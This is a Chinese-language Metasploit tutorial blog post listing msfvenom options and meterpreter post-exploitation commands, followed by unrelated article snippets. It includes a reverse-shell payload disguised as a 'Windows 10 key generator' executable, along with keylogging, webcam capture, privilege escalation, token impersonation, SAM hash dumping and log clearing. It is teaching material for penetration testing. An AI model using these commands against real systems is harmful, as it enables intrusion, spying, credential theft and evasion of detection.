渗透测试必备工具--Metasploit(流程梳理与meterpreter权限分析)

本文主要是介绍渗透测试必备工具--Metasploit(流程梳理与meterpreter权限分析),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、攻击前期准备必会的命令(msf流程)

1、启动:msfdb run 或者 msfconsole

2、Payload生成:msfvenom

3、查找相关模块:search

4、选择使用模块:use

5、查看需要设置的参数:show options

6、设置攻击参数:set

7、开始监听(攻击):exploit 或者 run

二、成功建立会话后常用命令

1、信息搜集

2、硬件控制(关机、键盘、鼠标、摄像头等)

3、权限提取

4、模块使用(sniffer抓包、incognito伪造token)

5、远程桌面

6、其他(查看补丁信息、执行文件、导出密码、清除日志)


关于msf的实际应用请参考我之前的博客

基于MSF控制同一热点(局域网)下的其他设备:http://t.csdnimg.cn/DAeeK

CVE-2019-0708远程桌面服务远程执行代码漏洞复现:http://t.csdnimg.cn/3DROz

CVE-2017-0143永恒之蓝复现:http://t.csdnimg.cn/D8UQn

基于Metasploit利于msfvenom生成恶意软件获取shell:http://t.csdnimg.cn/Lo4Ic

本篇博客主要介绍msf攻击前期准备的常用命令,以及成功建立meterpreter之后的常用命令。

(主要从拿到普通用户权限和管理员权限进行测试对比分析)

一、攻击前期准备必会的命令(msf流程)

1、启动:msfdb run 或者 msfconsole

2、Payload生成:msfvenom

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.29.69 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/win10密钥生成器.exe

msfvenom命令参数:

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)
-a, --arch       <architecture>  指定payload的目标架构
--platform   <platform>          指定payload的目标平台
-s, --space      <length>        设定有效攻击荷载的最大长度
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code   <path>          指定一个附加的win32 shellcode文件
-x, --template   <path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options                列举payload的标准选项
-o, --out   <path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
--shellest                       最小化生成payload
-h, --help                       查看帮助选项
--help-formats                   查看msf支持的输出格式列表

3、查找相关模块:search

search ms17-010 # 永恒之蓝

4、选择使用模块:use

use exploit/multi/handler # 很常用的一个模块

5、查看需要设置的参数:show options

其中yes为必须设置的参数,no为可选项

6、设置攻击参数:set

set payload windows/meterpreter/reverse_tcp  # 针对Windows的一个常用攻击载荷

一般还需要设置监听IP(本地主机)和靶机的IP地址:即LHOST和RHOST

7、开始监听(攻击):exploit 或者 run

二、成功建立会话后常用命令

查看可执行的操作:help

1、信息搜集

getpid # 获取当前进程的pid

getuid # 查看权限

sysinfo # 查看目标机系统信息

ps # 查看当前活跃进程,kill <PID值> 杀死进程

idletime # 查看目标机闲置时间

shell # 进入目标机cmd shell

如果攻击的是不同操作系统则会出现乱码,我们需要切换编码,使用命令:chcp

控制台的页面编码有很多,常见的主要是65001和936

chcp 65001

2、硬件控制(关机、键盘、鼠标、摄像头等)

reboot / shutdown # 重启/关机

uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标

uictl disable mouse # 禁用鼠标

uictl disable keyboard # 禁用键盘

keyscan_start # 开始键盘记录

keyscan_dump # 导出记录数据

keyscan_stop # 结束键盘记录

webcam_list # 查看摄像头

webcam_snap # 通过摄像头拍照,配合参数-i 指定要使用的网络摄像头的索引号

webcam_stream # 通过摄像头开启视频,同样可以使用 -i 参数来指定调用的摄像头

3、权限提取

getsystem # 提权 普通用户使用该方式提权失败概率很高,相反管理员用户提权非常容易。

下面先以普通用户权限测试

可以看到getsystem提权失败

如果对方是以管理员身份运行我们的恶意程序,则可以提权成功:

4、模块使用(sniffer抓包、incognito伪造token)

use sniffer # 加载sniffer模块

sniffer_interfaces # 查看网卡

sniffer_start 2 # 选择网卡,开始抓包

sniffer_stats 2 # 查看状态

sniffer_dump 2 /tmp/lltest.pcap # 导出pcap数据包

sniffer_stop 2 # 停止抓包

use incognito # 加载incognito模块

list_tokens -u # 查看可用的token

我们先看普通用户权限下,根据告警提示可知我们无法伪造token

但是如果我们是管理员权限,就是可以的:

impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token

或者 impersonate_token NT\ AUTHORITY\SYSTEM # 不加单引号需使用\

execute -f cmd.exe -i –t # -t 使用假冒的token 执行

(靶机会弹出cmd窗口,如果靶机将其关掉,cmd也会断开)

或者直接shell(靶机无任何提示)

rev2self # 返回原始token

5、远程桌面

run getgui –h # 查看帮助

run getgui -e # 开启远程桌面

run getgui -u lltest2 -p 123456 # 添加用户

run post/windows/manage/enable_rdp # 开启远程桌面 

注意:在普通用户权限下是无法开启的,这里是管理员权限

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 # 添加用户

enumdesktops # 查看可用的桌面

getdesktop # 获取当前meterpreter 关联的桌面

set_desktop # 设置meterpreter关联的桌面 -h查看帮助

screenshot # 截屏

run vnc # 使用vnc远程桌面连接

6、其他(查看补丁信息、执行文件、导出密码、清除日志)

execute # 在目标机中执行文件

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

run post/windows/gather/enum_patches # 查看补丁信息

run post/windows/gather/smart_hashdump # 从SAM导出密码哈希,需要SYSTEM权限

clearev # 清除windows中的应用程序日志、系统日志、安全日志

注意:这个也是需要管理员权限的

这篇关于渗透测试必备工具--Metasploit(流程梳理与meterpreter权限分析)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/383927

相关文章

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

Security OAuth2 单点登录流程

单点登录(英语:Single sign-on,缩写为 SSO),又译为单一签入,一种对于许多相互关连,但是又是各自独立的软件系统,提供访问控制的属性。当拥有这项属性时,当用户登录时,就可以获取所有系统的访问权限,不用对每个单一系统都逐一登录。这项功能通常是以轻型目录访问协议(LDAP)来实现,在服务器上会将用户信息存储到LDAP数据库中。相同的,单一注销(single sign-off)就是指

Spring Security基于数据库验证流程详解

Spring Security 校验流程图 相关解释说明(认真看哦) AbstractAuthenticationProcessingFilter 抽象类 /*** 调用 #requiresAuthentication(HttpServletRequest, HttpServletResponse) 决定是否需要进行验证操作。* 如果需要验证,则会调用 #attemptAuthentica

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者